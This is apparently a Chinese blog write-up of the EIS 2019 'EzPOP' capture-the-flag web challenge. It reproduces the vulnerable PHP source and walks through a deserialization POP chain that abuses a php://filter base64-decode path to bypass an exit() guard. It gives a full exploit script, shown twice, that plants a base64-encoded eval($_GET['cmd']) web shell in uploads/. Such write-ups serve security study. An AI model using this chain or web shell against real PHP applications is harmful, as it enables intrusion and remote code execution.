EIS-2019-web

前言

EISCTF-web

就只有一道题

题解

[EIS 2019]EzPOP

考察:代码审计,base64写文件,反序列化

题目提供源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<?php
error_reporting(0);

class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class B {

protected function getExpireTime($expire): int {
return (int) $expire;
}

public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
return true;
}

return false;
}

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

分析代码,可以发现这个POP链很明显,就是

1
A类的__destruct()方法,调用save()方法,继而调用了B类的set方法,在B类的set方法中写入shell.

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

class A {

protected $store;

protected $key;

protected $expire;

public function __construct() {
$this->key = '4.php';
}

public function getValue($value) {
$this->store = $value;
}

}

class B {

public $options;

}

$a = new A();
$b = new B();
$b->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=./uploads/';
$b->options['serialize'] = 'strval';
$b->options['data_compress'] = false;
$b->options['expire'] = 12;
$a->getValue($b);
$project = array('path'=>'PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+');
$tom = '123';
$a->cache = array($tom=>$project);
$a->complete = '2';

echo urlencode(serialize($a));
?>

首先是文件名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class A
public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

class B
public function getCacheKey(string $name): string
{
return $this->options['prefix'] . $name;
}

public function set($name, $value, $expire = null): bool{

... ...
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

... ...

... ...
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
... ...
}

可以看到classB中创建的filename$name来自classA的$this->key,而其路径来自$this->options['prefix'],那么如何构造这个路径呢,在代码中看到这么一行:

1
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

$data中的这一句会让我们的shell自动退出,无法正常执行。那么为了让shell能正常执行,我们可以写入$data像下面这样:

1
"<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n".base64字符串

然后通过filter伪协议通过base64解码后写入shell文件,即我们的1.php

1
php://filter/write=convert.base64-decode/resource=./uploads/1.php

"<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"就会变成乱码,写入的shell内容

1
乱码 + shell代码

文件名解决了,现在来看如何写入文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
error_reporting(0);

class A {
... ...
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}
... ...
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}
... ...
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class B {
... ...
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];
... ...
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
... ...
$data = $this->serialize($value);
... ...
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
... ...
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
... ....
}
}

我们从下往上看我们的$data,不经过数据压缩,设置$this->options['data_compress']为false.然后经过serialize()方法。传入serialize()的值在该函数中转化成string类型。所以$this->options['serialize']可以为strval

然后再往上到A类的$contents = $this->getForStorage();,跟进一下到cleanContents()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

传入该函数的值为一个数组,然后该函数的作用就是对传入函数的数组中的元素,其该元素的键名与$cacahedProperties取交集,得到交集后可得$contents[$path]为该键。那我们可以传入一个数组,其元素的键名可以为path,键值为base64加密后的shell

那么最终exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

class A {

protected $store;

protected $key;

protected $expire;

public function __construct() {
$this->key = '6.php';
}

public function getValue($value) {
$this->store = $value;
}

}

class B {

public $options;

}

$a = new A();
$b = new B();
$b->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=./uploads/';
$b->options['serialize'] = 'strval';
$b->options['data_compress'] = false;
$b->options['expire'] = 12;
$a->getValue($b);
$project = array('path'=>'PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+');
$tom = '123';
$a->cache = array($tom=>$project);
$a->complete = '2';

echo urlencode(serialize($a));
?>

成功写入shell

image-20200412005811225

Author: 我是小吴啦
Link: http://yoursite.com/2020/04/10/EIS-2019-web/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.